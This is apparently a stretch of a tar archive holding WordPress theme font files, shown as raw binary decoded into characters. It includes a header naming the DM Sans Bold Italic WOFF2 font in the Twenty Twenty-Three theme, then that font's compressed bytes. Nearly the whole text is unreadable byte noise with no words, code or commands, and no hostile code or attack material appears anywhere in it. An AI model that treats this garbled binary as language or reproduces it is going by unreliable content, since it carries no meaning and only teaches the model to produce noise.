bFFb}D} .U^oCj^P O50/^Jcba1M@H\l*l@\τU\0.llib\SDDDIT\elYpYDDDHH$! Ip]HHH]@tt|It- $+**$ $ -胁 scD;)@> ҀN>>>>>\h_irbkq~@LH=IjrZZZ]^@j@  *I\K|x\<@ԕDLLLKH,kD , .D^^^ZZ~CW.MnXBBBBBFn  ,0 s=B/&P````FDD E88nnFFGDDhh88hhFELC<~~~j: &.9<:.<<<ò~~bZZQfVAFCI]nnZ50PfzԾA|n   1  4 /L+   1    >]-l[0">dddR/U% @\&$$@ )L\ecP,,,]G4μ;4@~B```n (G= -W  T|y4  4<xx<<@ 𶰨匌 $,5.ܸ`D> 4Hi|||gD00 p ĭIJDVPHH@  7}@BҴE[ \Reld\\\\[^h, HtE@++> A@vAH, HHHHlll~Ill    RO13L?Dy x ȺB}D@D@R \B ["RRQSB&  FtGX Ba`aUMT_VED@88@@ ܸ!&E |gPPP,,,?b|GPP  g[6'@ LdP_0003P]H$$JΈEL%@  [D̴B@}7 \@~H HP[\\\F:HJa0A0@A,HAv@ (+IlllHHHGll   Zm?-/ Ƙ`_EU$$$$l||BC pp8!eDpHA TE# !APcBDyE}AȀ@((Ehhh^bx 氰C@@@l@x($$-R^F~~D u^R;   `@\ `@d@胄( @@, 胄$؁y]K+)A::̷JfRRHZ`<:RrrDr_^^^ᾪAwR@^|l[( H=@pdD``AJ_XXW]oDLLKbTQSW@ؖ@NxtFF#"#! ! 87$B((( >TTJ1,AxG>A@@@5 hBF  5hh A@7((("(DxN@NlE DDDDDL^l 䃔  <1% |||Exs[PPjAxG2@@@A>L#́ 5^P`epp_b((7@A@LvD("(CElJl^MDDDDD    @\@ԁ@@􁄄* $#ؼ# ճ000DsBsD@HBH尰僀  "<<<"  @\@ԁ@@􁄄 聅@D$聅D  @Ѐ聅@D)+'@  4cALLTTT3@T ByUTD000-0Opp4+$$$$$ 4   d΁@H   @P@@p@<@v=/(A G4nJۀ@(F0{B$dܑJ(.```^\(A T( PlB hhh` 3dddIt@ȁDtttux4#A:( QDA4K]^]]\DyeG4A|| Lv̵A}' 0(  '2؍    -0  A@@DtTBF@<TVZADZB@Ahh||Ȅ@A@  @PP@䁅#'    ClTBD|bb*JLh@PBTP<<@$@,<< `f66-̸``8ԶHi0000f**@d '00UDV Bped@d \\5 1XwB>VxH}00<<@@ 氰Da@@@{2B44@A|| [Bj?""4O^^^@潡A**  胂" !" "$ ^yC@ <22& (< @ D.Kԃ    0H@@胄Z>7޴ddc)ĢCkllvC<<9Vڢ@n?@?ELZp 4:61...JuB@~ŮCdddd^AnP<( ):J[ZZ ʴJ|||}dI8(Of Hރ    K+.All@LT~^Xd6K`kppv~ ",ƺB~|Ch$Ew\\\bf &8gDA``$$|@PSDJO:r@BX(@@90G =b8ԈEr|||||,8@Fp2~~zxCD|{zzz\Iփ@  ()$   CF#( $$LM@10/6GcILR@-=GLLHAH ? ͥ@@@Lﰀ((JW!ȃALL<<>>>>҃N'' 膬"(pTPD<(l@@,,I@l@@@lBDB(j@@l@l@ 40HЃ,ԁ,AH&A00IbHH ԪКG`; #6@́@\A\\\jB [-'6HH&GAi\B\\4444K8ZLLN     =LLLLHN@@IhhhS.B ((((L)A||H yH &O}Gί&,    #02/(&0$-0wXG?XXCKdȡAX&L3[h}@2C|ddd*oF @"HN0xxxDddP`0 @pppE\&Flll,,,@H ̭&AFVKBBBTt X\\A`ԧFg8.:  $ &/?D<<$@<$<$$66)(&"'$"  (,,(+!܁       !   j*CjtA``@XAH&ȨAhhHAHG4hh4샋   D@Al@`@@䨨Ahh  G44ԃꃋg o>5"J<<<8 A|| 8FH8]E]a@aDHHLKvFqKAD00|AA8|88G    @ȃ胄$   Ald܀CV66VxFN&A00 옢C444HԴ옢C444Jظ@8BD@vGdddVFD@v영DdddVFA 44<< E xH4(88 Ep>(@d؁FD2؁FD0AҜB|||A ʬҜB|||Aɫ܃ ⃆         B00B\P@\@Ё  @dAD./""@fļ CbP[v@bCTT,=ށBU C @B>̈́A6fAA ,,  T@x@   @h( (A@@ȼA$t ЁP Ё@PGI9C221T 鼑CR022ĸHfI@T@ÁE``iv    RtE6@`A(TPI88D((, lN*-L`D8((88CVTNb@Fv/ I<,$3@@@zfAĂ@@B||| [Bzk`TY^^^Aภ~A$$D&`~.** .,&"#"$""  "N<:IVVY SbD@@@TvVRR 2Thhh#FUӏ@O@BeӂBddd$KM*@*MK$֙BdddeAx$$Tzq9```"?$$ .vtb'bL@DB@@[cC8<<|=;#@@#;=|<<8jCc֝A[@@^_CຢB}|| BjC^kA ޴B||}ѰB_$   !       ߃e=A' 88C>>>bD_ 8@4ԁԍBdddԁԠBdddԁ)ZރE~@@@UXXX &^ L@|@FFAA ?@AиAиAдB|||B|||#,,,!$!),,)!$!),,  ny>G*AA!,444,ü4hhh32tt@|@|  All:{B{:Ί@l,,||,,||, ,OnutunO,BYXY,oDo C@@ @  B0 D~,,,} 0A@@@Fhh||(cBd(؝@|D```D滠&   ド$$$$$1YLppJ*;iR*o||||LL+<<<$$@lBa'ןB}|}   "  EV2Pd`\\d 0>nZ0\dd6bbb,,,66@؁ ^^^^0000ԚBddd0000ԝBdddԃn48p<<<hopz<``_/<A@ȁȁAA?AFAAAFGxxдB|||xxиxxдB||| xxиЃ.     ,  ,,) &,, ,,& &,  L@@(@؃    F~F~" @nDdHdH 0 @lG0  0ꃋ `@\@,9,/ Co[NDDDRJDStB؃ <<<522259<<dG d>HdG@ā ֱ,@|JH:@4̸.@( BR(@Cx@@@@(TAăG".7:?WǔFud`]VG- #]B^#㯎C^^^Bʳ>   烂>    *3'&*»04@HPXYZ\D5B!HHAttJ *'\E@BDDDbAμ@@G A ʙB|||  ,)(((!7-44Axx@tDCH1pEp86H@tHstttj[Ptւ@x8:48ATT8C8FcHzddd]Zc2 &_HÔB||| 00ŢGnF,,+-.13     5 KF9@Pf/M4\Yq@b nY1 A~~~ysn0D0DXXXSV٨@,,,JO5`xxxdLZ=||,L%A,,@A\\ F^[^^^l~A\\dERxTTxAįB|||ă &$!8 (@f@z "* A^\jʴCp@@p фGyk```]dd AtZ ιʿ(zz( [8XX8000*"+40 ** zbN0 F!@IJIPJJ@~@lRZSD>AV{zzE!~j>>>("俌 888 濌 <<< @DBqp{L43343KcdWCLKwFtKNVcrkvlDr^G:=0Aރ6SRR\kvvvzrrK @4@4@HCpcdqO-<;HYfdVI||<<(48<"$.HHHNV\\\4@TT@]    胂     @@(( @8@|@܀쁄:G4F{zzzg9=Ⱦ0'$JHHsYXYWUTUy @sH 7dtA tt88$0ͽV    D@24..G܃    @|P4@D@<@D̃    @|P4@dD@Ā@@փ     @|P4XD`@Ahh@⃋    @|P4RD`@@胋    @|P4RD`@@88⃋/H&@Q& AqD&OElRTll@H:A B```7BmATtppX\^Z|N$xxMtG$<a||@Add ( \BZBhhhAddxxPP(((ԼB|||̷xPPx&   脪H:,R@CbF88B[@ @JnbP' $MbqDD@0All ?A*pBh ژBlllЁ`HTTHRXYnC-\WXP{DwP D\\`` @Hpp@P ( @|Ds,,,URD,@AppAXX^sBc(؝B|||F```G丠AD  $$$   $$$  ƪAR@ρ|B @ C  ORAHhlhQ:@,,,7hHHHYxH@(RRBXXXը(O^fvpDG'iC >.BXXXAGS h  $-W~  >tG ll@@@dC 2dF6،",>. CA\\Aʶ6LnBmG..B^^^I8,Ȳ@^^@9         䄎  @d@8AD@聆 AH    B H4H4|FH$$H\\    FBFbzDdTdT GlHHl4452%& K?$ȬCh92}Dn421F \QK\kEi@,,,'P%BThV@@@L^hTB%sxZFEA]<<>QhzzzzpY4bzG  ) ?@T <bF"ʰFY"<<NhMdwN@ˍ@a !  '5 ! F\   $6& #OS%%:)qKT1 Jhfd֧BU#$Ţ$$=~@lll;0PVpB|58N[Q;`1ig2@^J $$J:J|B 1JI<UD R$$ ķ@B@䰉C<<00IclllW4ȨEm(@Ie( """    &  ##MH1!$@Og87KL.0'5@āE ݞ@J@wSG$$,,@`FLLL^̂+`S$$hh@ԃ". ̨  ceJBhhh ఋD2FDDD(((CxLLL Hk>>> )b@H ˾RRR ڣCTTTT R$2gA 2VV>>>>MVL2 A\2#ঃd`E |`dF4888+;`dD?@?d`B{|{ lP-ͅ WE Pl?$)888;fG?@A@dddVFDE# "EDFUdDEDB|8AO8    A8O6z@JJJ3C||||2J&&%£%LLLTkH`9)(((2FiHjSL?     ?   bzDබ謡ܱD;LJBXAwB`BB*䮮 HM**O ¼LLLCdddd L->dA>\V<<<|@[>+谰`\jvxxxxl\`NA@@@AN\`D444`\L2֌Dkxxx@ pLlJ:@@@KrG444l@DDDOJ4. 08LOD8E4ڬlld2Af< Aamlma@ 9XXX;怀   !  NCfZ@l@l@ @ddC `ܰX@@$@$DAԃ00ځ   @䃅􃅀H,&$!    J2FH|(Ȁ@d|@x@JHL` ,L@T@<`B\\A@ԃ   D/$kTl T>6|n. LBJTl T>6|n. LBJ@hLHHHkl0<,4L`(4\l0<,4L`(4\@<DHD<DH<dBHH@dHHCdHH@dHHA耀+  􄯀98!CFFEu @@@hFVUTTTUhOPPO@ԁ4XXXXXU4A փ   D dҀ@dDX`@Ăhhꃋ胋   DTD ,Xhh샋 "  EN`0@ʁ F\$$@8Hd1@HHN7 .480E```ekpppHY\XH/ &.444(.IXXXQG@@@P  냁    @TA@؁@x쁅   C$πT@DHG   CttpT@C @@G A(0AЀ@A@   Cltp$xxDHP(@(Gll44    C$$$xxDP(@(Gll44    贸H@X(|B(@PPK44hhhh    A0DtBl(@(PG00ll  *$KPPd(ldl@44́RK((ll@PPCpTTpEPddt ꃏ   @@phE(px<@\K   @W Ao󃅅胅($     @Dd@hА00G dd DddDMY?. push[T?Br`lx{{|BH::Wr@644?MXXXYTT-46 CtfhvL$1<;J\hdTJHBd@x 444:BHHH (44]؃ "! #$    }g55@&7NSRH:2fpiRBNX[YZeC\..\A ^^9 ܲ 6^444?MXXXYTP)ȽBPPPV41V|B| ʷC`ahwA02202ⰂB202202A2l(((.6<<<||X,,,X_000_q(((1и*%#*/666/1,00+(('&%$$#(,((,00001443+66$$8$$4I윃S@,,@8Dhh,8D8hh8,  % (pp(44LddtL **ATTBxXX 44 D(D (KXX x@^"-! npfV`l48J6.0^P@""$6"E\p\hxhB||xԃN8@THppHT@4,  }AFFE@:?22214:FF +:JlBR:- B |vujjjkpv@22FevEvgG29!  5```M+!  2```K)cHHIR\pwxxsh\OGlle^\\XTTS[\`glXXYblwS~vl\Wxxqlllf``_kllqx9҃yDRhtttYD6 /D>1(((1>DM```WJDRhtttVD6 /D>1(((1>DM```WJy.* 6$ 0+ 6$  @..&HB΁22BXXB48܃((؃G@,샄$7</F@DmC 6JJ@75Fp AXXXB#PZ DBK8 ܙLL7ָ XXB$C K@,,@D4hh4(6$΃}]T-CpR.,BpR22224.DVG666PbrKxV.PPP)  ش؃l$<`` #8AXXXXdd$ $``xxxnPT8LCB06444<`0  *    l܃+!     TgJ<%PdzCumtVVVVNNC rJ/JS}@V=4""TTT Ҭ aXL6((((,POopp$$$$#.POkllkldHWXleQ 000# a    0#&@zI:Iz@M<<<;U[gg\U;  (((O,5@?@5,&   &   JV>4 xExeddddfxE|R Q (TTT㬃[D(.,,.(DaZXXZaD77DUrpprU  00$!0[  ;>0'ADDIx,\A ͰӃT,,xx,@@'03,,,pppjLF, 444'T   I^C< (" $,2TTT0Ϩ]((tt4LCTTTTFL>48@@828PPT@? C pU88PPW@? CpU8 . ;XXX5 0;XXX5dPPhP<=[TLUTT 4;QT@A_XPUTT4;U܅كd惛!  "   & & & "'' rr  ( 22)f_VVVA|| جȤ܁Q !'(  6>+ttB ddddf`Wdd^lC܃22ށ ӰS (6%,,Ѓ ,,,$$S00 􃗀'"  Dd:RdAB@IL(dtDd8D$4  4 I N'(`A\V\E`TKԃ 0  K    A^D($T@@@@ԃ M H3-  طFm*0 nE NAV@< HHH& K[bbbbb~CzgO>  $ $    D0@~60Ѕ@FP@@PPAPPADԃ,,,,؄ $    HP|́@ttHx((d@<@@@@@EllAll@ԃPH*BA44 PPPG|||dt~~h@hC|N@ E DPPPPADBYI@X@E@jD|}AƲ@}Bak0%&A6H 3tttt6ұAZ6Ұ ЭD}dddvKD 009!΃ B wT%ӡ/ZB DNdEdB4@TThD<$Ck@@@ $îD_^_>$$@kBa'ןB}|}   "  z<:1ĔBllḽbD̿Em$$$$g Id 뼼 -\\\- :DDyCX C{````aH _TE# !APcBDyE}H"¸Bq@  氰C@@@mBCrTT  A|}'`BkA&&>_^_D廢Ҽ@}   -  !y<=?B:N{ /xxxx5؟AS8ر000ب̟Dp```h?Cf@@9 TT%㴴%T B ~`,פ(\B 4P`EdTBEDC@PPnDDCm<<<  ̸ůE_^_A$$@kBa'٠B}|} 䃲   "!"!    77,AG"`j"DAj@JAhH.>Oxl\04@(`@@ @A0TC,H H@NZ@l D04R>9@ĦT D@ 4FLvzz Ĉ@  ̚C>̀@ց@Fw?9KXZ\\\{G\uHd(  ,wA @tC8~r|HXLJ,,)7((( (X @XAXX@ PH,)M-D y(Ȧ4Dtttux ~~8bJ!ũOvcE0&&&)*NMLLL_v&2I\\\\Z~CwcE26 ,ʾ 0(  *4   \l=D#BB\\G䶂ClllH]ȁ  kBmBXXXChh$$$B3HDJA3  DRQ.D.A$$,B|||,`D`,XDX,äÄ#(*'(((`k6A&ll&&&϶&ZZZ&Bzzz@T  All:{B{:΋@lA, ,OnutunO,BYXY,oDo   B0 D~,,,} 0AD$$||(cBd(؝@|D```D滠# " 僆$$$^W$ATT ATTHWWpp@tAff-$CbA\fNNtxxtfB((((@dtxxtK||@AC@@@~2{@,, (_B ZZ[B澥   `L/@X$$$$@XIXNNTTTTLMXAll@>C|||xYC#TT(,⚄((((8]xxxx^:,(A @B`Bhhh(((DDȃ=TTTxxxX"֠ 胟   @($!R@XB@@A@@@>@P4@ lBA@@ԑAH$$֑"gxUBEB& HHHH†A!ͶEzllll}@`ؤCXXX|9CH$$Fy@,||||V 0Qt(KtqJ,@$DDDZ8ȮDg000r8!C Ƌ>^DjjEl>꧀A~mʃ ׁ!  =  '! 9 '   Xt@   "Xt@聅$D;( / 0BILaHz(((nI' "<<<952222<<< ă Jtt_\V@8A oT6llWTK8DA z\Attb\VDVBrT..AurlVpCnHHDpxCvPPDxpCqHHDp?# &$ $!!' '/%(!$%(HGV4@IPHF@@20@Lh":..88P4N"2".H 2@TPL4J 'ȼDNfh@|@JG\"rrp"`nDAZD     ṕ44  @|AX ܁@8􁅀\   |   @`T@T샅 @܃샅_HBC ````ԘCHHHHAnn.B.@nHH PHFLRxCzVPUGHHGQLHSTTSU@@@PPEİā0P(()ZJ   Z(44U|F|U4C      SQ;*M&s@ @s̜De<<""K``55`b EyLLLyB?ppp?HH 88887K3437HX(D 8C8 -XXX- 輼 0XXX- [NI@@@JNU_^^VV>>VF?889>FKTTTK   qi</`gTL<,,,!$000$@D A8LI "" A\n@BЃ@I<4XXlI 0(,*046<4*$)) rr  % 22) `YTTTĄ̏ܰمRHdddHKLLL:((Cdddd02#( "MVB (IZOh@( ВBa``K}LDEMLSUT$$0TT`ppp`TTOԃ  ꃅ 74#E^xD$^B``aL@45>@GIH@}$$TT`ppp`TT0O   DB|JhJBD88@TH܃  $$  KQ-)TZzzzG67;,! $$4BC[rpB^bE +$E7La`aXlpwA~~԰GbDJLLLW`EzpL䃘 %$:PA`Lll22ҁ22AXdEthh||Kh((h@@(@@( <C7@P6&1C>?DH3IPN_ih@ă A(|Fq[LVRT03 Ypp8>DDD<444?H@6"$$$   \xQ8*vB fXX^UHHHPxBhNJ<$$$Hppjppp_N%6Oo& ˃Ile_`_blllxU`pcTdcZpxwxwlppZWXW~|{A}z&44,,2``W@,* /;D G```b8,4f&      `lSE)rjrByomR000U|HhhD JhfB}b 9_Q!&5+TTT縸HXK7-,-2DWVsWT$3Sihiep}qpq}XV^``db$**$$$%(d %334 ă$ R^?&@@@Y~C||C@2MtA00),,@ÃHDxzt`YI=<Lq`SF0tv]LCKYXC]L<2   ]  J?fffG,VXF,^^ 9RnZE3BTfff? (  ;D%.PPP) ش TTT#լ CtttwBhh@|ʬAth F{llllbrEhhllls @     "000) G? #             LC^9~@p^H***AD.7PsCmtBjDIk[ZZZZaHk****j%.PPP) ش (TTT㬃ELLLOXpD@@WluATXfHH\_vdjhhhp`LCHHHHAH\pyttttx`T>0000M\n@l @     00*$0E?          j]3N^XCxZ64BxZ::::<6D^O>>>XjzK^.PPP)  ش؃A@dZl((),4Mqp4HRihhiut4))04pqO`eI)(\TS@GEDEMp0 *    q܃1" '349&" #(!"""!#  !!u\O* l<6@)*+9TVpzzz@l\zElN>BA {fQ-*K`|A<1:Q  ?TTTDҵ@HYpt]MLMVL\_VMLLM]\crh,0CTWvIvWTC9,hooe-000"((Dxl``pprx~a/       ]pX=+`9Mc`fZS`F @@$FTTT,,188;=>@  %?I\hdDE=<=KDChhDTJrhi[U`_jm`\ Fᱰ %$$W'2?F3  7UTS5  󼼼ڃApoEnkxxwvB\g Bz||Ayo& gg&(D^VE966%%..774<=88JN/ $+;><5/,,)#&'#     ("  |||YJGI8:128 RTRRR.Cpppo  I4HH00(    8L0$hhV`DT@\CTT`0M  kfK2XdhhhhmohXX`\\bQH<1ZppY1<3,@   5JvB/lcLLL6֨€WdczxxyoedWD=DD?J]g@ 7p—I0h@nZD<<<HMGHHBh^G 444!tWh  6@/A.TrbCp,:l`z@r.(HFBThh@tMlHd0(h\`x\8,pDȄ@U  ICpppDx`G888G`xDz\86Bz\<<<<>8D`Q@@@Zl|K`)  .PPP)  ش؃P,,,@@[dmpmd[@$9\\ "4=XXXX]`  $\\xxxmLP4HB>,54448\) (((((( 0     ,5@@@5,&   &,5@@@5,&   &D܃?   )  }pc:BpWHHHWpAddP8""8Pd\fhddddm\IHHHHJ\E`65   (TTT㬃M$#=DOghgOD:#ëIxdZ```_YxGxhGHHGhx ((( (((  00'ف!0t,5@@@5,&   &,5@@@5,&   &4    kz`P(Bv^LLL_xA hhX@''@XhA00A ttmte|||Hl@    аӃK02ENZrpr^PF2 ζATTIDThjQX]VTTBtpV(((  ((( 444'l,5?>?5,&   &,5@@@5,&   &+  @@ t胄0@/0pO(**ju|mE"˃>>OZXRRRXZO>>24@?BgGxDD2CBARİ000 ڪU$$+:ELLLE:,$$2J]hhh]J2  gh*@ R?C`py|tf^I/B~nE R?A^ox|tf^I/B~nD~q&2:::?::#΃@(Uzhk`N@@O`` /DA4((Txgj`N@@O`` /D@4(-`\R( IllljhhhW輘qpl`NDDDIOTTTF@@Nbllld\]\g@<0$$$2<<<4,,,71 "'-.///1222444/)&&%# !"1 @@69+H hrr@@rr\p<@t ^@t@n⺺B>>>B>Ff$2"$S.pp :B24ShjXFG)*@ i^UB9CV_r@?OPPF6,,-&0@W    ~cQ3ߨDtLLLtFX$$XArh@~ ʮ@ + BtttB ExxxEѪBnno!\wBw\>8ErddmA (((((7IXXI8@/ռdPPPPPJB<<<;D`ZTTT[elllgo/    / /%B..~@ $PVVV@d <22& <LLD44D4450)$ $%$$@Pԃ  /* %Bn@ @FFF4**4  d\LLMH<8<=<@ Pԃ  5(%IHHDDD`@D::.&D``hxxh<<;7ATDX?@@@ D& Pԃ     5.% K88444Ps|D::.&D||C XXWS]p`t[\\@ D& Pԃ     OIG*#⤚¾B\\\! "666#λ0+3 5<" xxxxxl[NLRdd .<<3 LLL 6000@  8 aȃ   PPG*#ڜʺCTTT}! "666#λ0+3 5<,DxgZX^pp':HH?,XXX!$B<<<@  8 aȃ     At@ 5-#E<<\ CRRR\ @ցDD&<4 Ci|l@< &DуO   4,#E44TDJJJT|xDD&<4 ļBux@8 &DуO   5'# EBBD#N@<4DD&ԃ``dtt`$LEDD<<=)4@#DO   5,# F22|D ><4DD&ԃ||B |@ha``XXYEP@#DO   OMG9$Brrr⤚¾!0<& $ "666#λ@@\\\VtA@ xxxxxl[NLRdd .<<3 @ 8ܴ  a!       PUG9$Cjjjxڜʺ!0<& $ "666#λLLhhhbBL,DxgZX^pp':HH?,@ 8ܴ  a!        @ $􃅀V R;3CZLtLLtpDDpPt txEEx(l@x<$!>\wBw@@44@ռă[   V O;4QtLLtpDDpfjP ttExxE!\wBw\>,p@ռ@44@[      BlL L<B>   `BE  `BE >>> DD0<5 TTLLMC=D4WV@0DуJ  "..Cvvvy. DD0<5 pphhi_Y`Psr@0DуJ     BƁ@lB @@TxxA$$T @0@@c^G]' ;/⸜HX)"mq&-\ ײ3?Dn421F :|D: ti(ctGp}E p_$e@!,,,'*00(a%BThV@@@L^hTB%%BTh^L@@@VhTB%0,  *P !#܁  @聅K X)B0|ȤBDDFPPʃ=ll͞>>>BpllUllll$QN$@%PPP%㼼HL\jqlqz@āKd:00000000008 ,,,4=PPPB. ,  40%C}29h $?K<}D8\gE i\NI@ "(ż( PhhU6$.888#$8Wh  $$$  EH@DLD8D8@8D@TTJdLllLdȃO4P88LDP4@AttddJ`` 4L\\L4  ((((@@@ہ(B@Ȁ@ 􁆀Pl@|́Ѓ  @Q$$D@$ 쁈  $ll@ă聅@X$$$C@ă 샇o ?99$#!NHHʘ6hh6길6hh6길HHʘNX常*XX常*XHըHHըHC@@JJN@@iiwPPPwFwPPPwQ@@ii@ZZ/ @@@ հ @@@ հ 0PPP0 0PPP0 A0ƷƷ:;JT_mlm_TJ;:;JT_mlm_TJ; /   /      Bxx@4B@쁆   4llll@聇    B,B(@@^R>F!Ǵ$$B888 Gpppp2՜ 88BBlll8Cp$Nihhhh@~88&||llli<8%='@HHHG*ո ĜH|^34^xIllhV@@@Nh| ܃  me;y&V7|{R\xxxRRR_`"%4460hfffr @D_r h}DBJND Lv<[ 踍Aj|%TuH^LQr\T<"(LF@@@P\hDPiJV@|Ȁ9        %4섾WW*AЌLFvA00@́A<^niDFM6 /  + ȼۃ   ΰ  WqAY00=Tht||||TF&l$$x_|@`Kuts>$$Y^*@bl<ނAed0qBo>B yB&2jzAtzlA #HH$F^[TX@h\Zn00ddd_Jp|d8008hzTPlTp@,@, bpp"FNDtzxxx Ȫ@f p`(40 ΐ ,Ӽ@ ԲGxxxTTTrF(( (:TTxxiO4(􃿁  %          BBhB&&&  C CRhC&&&&  A\Bld ;('!HR\$z*0@$@ fPĞLh@ ЃQ0JJ0CLxaȭ|D *MXB,/H```*r<#AC((Dr<"-,+Z DDDNJ1,BWδF|F*321e@BdczeBfD}ddd{fBeD|edc{fBeBzcd)##'+# #+(##(\\100$X100 &\-,,"XXede'QPQ,R\a`a)QPQ-XedeI+QPQ0ǀ@BP B@@@ PDP B@@@ PDP B@@@ PBā@|0(((ɯ(((ɰ(((ɰA|| 7LLL6֛B||| 7LLL6֛B||| 7LLL6֛@|?     0      ā@ @@x@8@ȁvYZ@ABAF,K@ L|Sb@C\\\x5CBz(Cr\\\`CCdklll|O_xxxw1@TB|خCe888 C888{RCȃ .SGc0@@.THW0Ĩ5#!,F:.ɼ䃅           NIPZFJF^v^^^Z@****3>FUz*,|.,yPPPP_s@ #ZB hhh Zdd[wdd<<HHDH$V0000E,hhhhA@ C0C/ EnnnxG7_rA 2[Gg4"@@ $0S|||B_0$ּ    ((( ,,<<<+#,&df~**~z`JJJJS^fll$$$$ppppa' OnA O2 hC(Z ^l@U@ #ZB hhh Bj6ݧ hhhO 䘘ttSvtt8888&LLXXh4[00Q.D00llll~W <qI@C0C/ EnnnxG7_rAChtC F|GfffڂAڃ 2[Gg4"@@ $0S||~B_0$ּE[4" 2XDvxxfF0$ֶ$0O}@  ;  >     ?$&& *(8::)⾾!* #"#$ξ98vj,-sx980DV`DtXKjZ=>> 8 Ƞ>bDhhEm>B|||˃!   !    ak0%&A6H 3tttt6ұAZ6Ұ ЭD}dddvKD 009!΃ B wT%ӡ/ZB DNdEdB4@TThD<$Ck@@@ $îD_^_>$$@kBa'ןB}|}   "  p~AI:,ȿȣ@|HV꾛E[4444hA``44@z 8'$$eB}"8EtdddWnPC@# V31NoBDbFpF-A@́B< 8ĔC<<kEjjD `>àA00胛&    3$/)   #, :6BdXADXJ@@0$App@0M(`@0ATll؁AT<@@< 88owmM~~I|fffftJ+@@@@IHPT^ffffZXGLD@D #YB -Afff0<<</0<<00|QLLLLs0````+HL[hhhhnnd`LaTTG|ax@ <<<226,,,F:888-A 6_Gi6꤀ 2Ik~~~CP2 Ӹ$2?JJJjjjL2$ 새?       C}U6$"d....^oV(FD8&  4\AHH\PpDl8HD|\\\\h<= (@` <<<2+888-26,,,F:  3<<<8888- :F,,,:S;6_G)i6꤀$2?JJJjjjL2$  2Ik~~~CP2 Ը6iG_6A!$2C\jjjJJJE;2$ 2PC ~~~s_C2 ؃?   ?           % CPDDP@ց"\\G(<<(@ؠ`(ChhGH| l,胋_9)m44ll\&8 TFF,X'hhhB..  ̂LL....m@p<<8|D@ llL,d|$$#H4DOSTTD4Q{|Ђ%m,{`I+hhOt]\CsH((((GqC`WpddA00܃#%PPP844ktt $+$$ )DDDD.$#XX 1?888E00 kă+    47*  @|$B ADH XBDpxPL@bp~@DB$A@4B@((BA@B@̃GJ#@HlWS`utZ6*׼D`8@44KZVLLLVZK44;;Ml >YA  }xE ]v@ë/PPP/   /<<<0     &*XXqH(  ϛKllh ܸɴքK $%F0|rHPy  I~W܁ղâ܃Kp@D܃܃   P<TA|C̃    hXTAPlC̃    |XTA4lC̃ '+XXIa8;E)ă 88$Kll`gx *< FxE;<>Wu7OPQI܆AR_EfF,,,YCddW] $,.=Vo^/B mpaQE2     2EQapmB /^oV6,+ ڕB]Wd `%1l@||K~`?Ҽ<@@4YK@B P V_2C\\Wx²Ь°CxW\\ 2_V PA<*;DIZittTTRJ@4! Ѳ !4@JRTTttjYID9#˸<    䃿<     C8@XDDxXAA TT $D4$``܁<   <@l--  Ar\DEfV @ԁ~A <@xE\D@4AhhF00A@ԃ Ԉ<<  @cA@    Bh`D,l xCppxr))(,,,C\\\f簐G[0+4444]@\@\܁ܿ@[A\[F8BPP!ܷCYPPCո 8$MK@IE}@@؁FABFF⺃G̀@,<,8G     ADHA$@@hx4:,@8 TTTBv88&C:XZ$FAVV**@@@@ߤA\\$\\āă@$XlD5lXDdChldA@ā8#*88Ctttt8@\@\ ʤˤxTTxA@@& B !AB5A00@Fzvjh***Hjv jj..E,8A@ځ@@@@@@ߤA\\$\\āăA@p|||F.hhhxxxW5ppXX\nXll@8##88Ctttt8@\@\ @@ ۤʤxTTxA@@ %  > %  惊AB@K:HHpp@Ɓ@F@FXXK`(|HHC@ @DD@DD,xx,xx<<؁ 샕99*   Rf2N4lPBHz@lX@lXRnlP8@ЄԌ@Ѐ4AA €ހA4ƒ@BΆ N䁅AT 䁅A *@  @hAthemes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold-Italic.woff2000064400000100020152335264760022044 0ustar00wOF2?\ll`n`  pK6$ N lu =[&qk znJTvPzntjb ر1] f{q\B6KG &n#68Z 0<@(d7t&rW4L!NTEq .i=&H|'52yy=bk,Z5䫨WFAbwUͺߤ kOÑ$g[[-L < /$[7Ÿ'~ ̷ad.ڢl&GHLL;q.prU|^&p (Hy|ys>,m37*{cmQ+pdTH(FJlD,B1ȉ8"NĉE鬾W 0 )@h"*/dm87$zN#Ҁ$Sӂ5+ 6k:( B$[@DŠL0Eۮb""f mxGèH ||T8H孓 Oie~ \wŤ˄qPF^ #DԝLc';՗=t/>IBF.?o^ QOM-R`6ʈS6kEE3e*'t}.c  `*կ] #j<(bJ|j3 (bm_-ۯv9UuV3,& ^;,o9Vָm³HɄ/ n\.5M='fvgSoROT&Rh eg!!߫Zd}TũuyCDRv}@3+I -ʹ\a5;3o%-T_P mg5h@8$h״{"82׏U3K1DqCJ7\_  !ɢH%=H M0(O$(k(qD!)t9U-ʭ6ۥ޺ڢ[Z9%D7|4!z$8$Fٜa 7WR'B=|føm !H$B"H@&-a+h2o_R?4%%FaBh,K[PPղ];{NnC\ r\ 3772"` ]6ү)d@WS<4݁CC #{c?dWvYίy2ttKQFEQc߾g˩r2)3&"q˲@D^{o~s&]MmbY]px QQ0%o H  U*rT T ԂDA#$I@|}OlILHeXVY`{ Hf7Dp~%AhO Ư ~ `aаWRyu#ߺE$h9jHH p: ~U]ލ2P9i6ϨhdM{b^}t8S`o8`q <auVAGrn}Eb_!5㭇xxF4eFg؄s8]sg#d}ѝ~^KN{o~ѡ-qkS^6vz-TQ|r&9 )7V 3WP=]e^:*^ (jG/ҚY*,(Ƙ N ͅƯٴ_;Aow OZgOcϹ j|tPܩ* $'6*6łka5t8 ˻kuC7w[w>OP a+$˔KB"Y~+RK;˥;+er/.pzǾd|/WCGC &LM]~߼ƒeF΄h#%;?OK%ȌY:q0fAڔP K!s^4. * ݀ 28+#s&x]-#_N^aa:fe`4T-umD/=6meioݤr@Y(˶U`?R\tydYprj-%$#Ԫʠ9jvz)ֵy<١XKjU̢L$Swv~awY6WR ZߗSt|*qe^Zr[',zFd7AA;k.[TV(mXRq{'bT*fK:5)8M$٤7 D@⏔EZ:$ʋOb~RQaٔ <ȱ\j BM6ʙ P3a\0=j5R1u> 0(8d#ylVXeX.l=iՔy4FLVyL8g7]*&YG[#X|S/W%C?mɡUS6xܡrXiՈ1({7DzX_ID7O d8:UFc0͔gZi .[=)]#I_ҤIdɎMrM1mjm<| tUWC08gAh 6,4+;GH7<|ەGV@`G ‰XH+lpuפ[(T@`G +|>/!IN!w䲕RKv_HdW^ͬ[6޵,$MZi# U&>|kpVTQP'>3,wݑqq֜;rhGRPA1(,1[M7FA`G wgaecoCS4{ڜnaC`S }T@apVr`I/5  G_3sh(Cʹl%*+8j&Z5nJ Ԋ mQaY^eRumSvjȊ5ͽx'Ju ]ަu^F 